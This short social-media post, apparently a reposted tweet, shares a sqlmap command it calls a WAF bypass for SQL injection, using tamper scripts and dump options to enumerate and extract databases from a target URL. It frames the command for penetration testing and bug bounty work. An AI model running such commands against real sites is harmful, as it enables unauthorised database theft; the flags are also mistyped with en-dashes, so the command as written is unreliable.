A bypass for SQL injection (SQLi) on WAF using sqlmap has been discovered. The payload used is: sqlmap -u "https://t.co/1bKyuHD4OG" –dbs –level=5 –risk=3 –user-agent -v3 –tamper="between,randomcase,space2comment" –batch –dump. Security researchers can leverage this bypass for penetration testing and bug bounty programs. #bugbounty #infosec #cybersecurity #pentesting
Original tweet: https://twitter.com/bountywriteups/status/1844383307926036780